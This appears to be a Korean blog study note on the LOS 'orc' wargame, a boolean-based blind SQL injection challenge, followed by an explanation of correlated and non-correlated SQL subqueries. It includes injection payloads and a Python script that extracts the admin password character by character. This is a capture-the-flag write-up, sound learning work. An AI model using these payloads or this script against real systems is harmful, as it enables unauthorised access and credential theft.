웹해킹 2주차

@yd1ng· May 14, 2025 · 2 min read

LOS orc 문제 분석 & SQL 서브쿼리 정리

목적 

  1. LOS(Level‑0X) orc 문제의 취약점 구조와 공략 과정을 기록합니다.
  2. SQL 서브쿼리―특히 상관(Correlated) / 비상관(Non‑correlated) 서브쿼리를 비교·정리합니다.

1. orc 문제 개요

항목 내용
문제 유형 Boolean‑based Blind SQL Injection
핵심 코드 pw 파라미터가 그대로 쿼리에 삽입
차단 필터 preg_match('/prob|_|\.|\(\)/i', $_GET['pw']) → 함수, 괄호, 밑줄, 점 차단
// 필터 후 첫 번째 쿼리
$query = "SELECT id FROM prob_orc
          WHERE id='admin' AND pw='{$_GET['pw']}'";

// addslashes() 이후 두 번째 쿼리
$_GET['pw'] = addslashes($_GET['pw']);
$query = "SELECT pw FROM prob_orc
          WHERE id='admin' AND pw='{$_GET['pw']}'";

1‑1. 취약점 포인트

  1. 블라인드 판단 – “Hello admin” 문구로 참·거짓만 식별
  2. addslashes() – 최종 단계에서 실제 PW 정확히 일치해야 함

1-2. 공략 루틴 (ascii + substr)

단계 목적 예시 페이로드 기대 응답
길이 구하기 LENGTH(pw)=n ' OR id='admin' AND length(pw)=8 -- 맞으면 “Hello admin”

1‑3. 자동화 스크립트 스케치 (Python)

import re, urllib, urllib2

pw=""
ssid = "자신의 세션 아이디"
print("find pw")

for i in range(1, 9): # pw의 길이만큼 반복
    for j in range(48, 123): # 0~9, a-z, A-Z까지의 ASCII 코드
        url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1%27%20or%20id=%27admin%27"
        url += "%20and%20ascii(substr(pw,"+str(i)+",1))="+str(j)+"--%20"
        req=urllib2.Request(url) # send request
        req.add_header('Cookie',"PHPSESSID=%s" % ssid)
        read = urllib2.urlopen(req).read()

        if "Hello admin" in read:
            pw += chr(j)
            print ("pw: " + pw)
            break

print ("Fin")

2. SQL 서브쿼리 한‑눈 정리

2‑1. 서브쿼리란?

쿼리 내부에서 실행되어 결과를 즉석 테이블처럼 넘겨주는 SELECT 문.

-- 비상관 서브 쿼리는 독립적으로 실행됩니다.
-- 예시를 들어 만약 테이블 두 개가 있다고 했을 때
-- (students(학생 데이터), scores(시험 점수))
SELECT name
FROM students
WHERE id = (
  SELECT student_id
  FROM scores
  WHERE score = 90
);


-- 대충 이런 쿼리가 있다고 했을 때 외부의 값을 참조하지 않습니다. 하지만 상관 서브 쿼리는 


SELECT name
FROM students s
WHERE EXISTS (
  SELECT *
  FROM scores sc
  WHERE sc.student_id = s.id AND sc.score >= 90
);


-- 다음과 같이 s라는  alias를 선언해서 바깥 쿼리의 값을 사용합니다.

image


@yd1ng
안녕하세요. 양진영입니다.
© copyright 2025. yd1ng all rights reserved.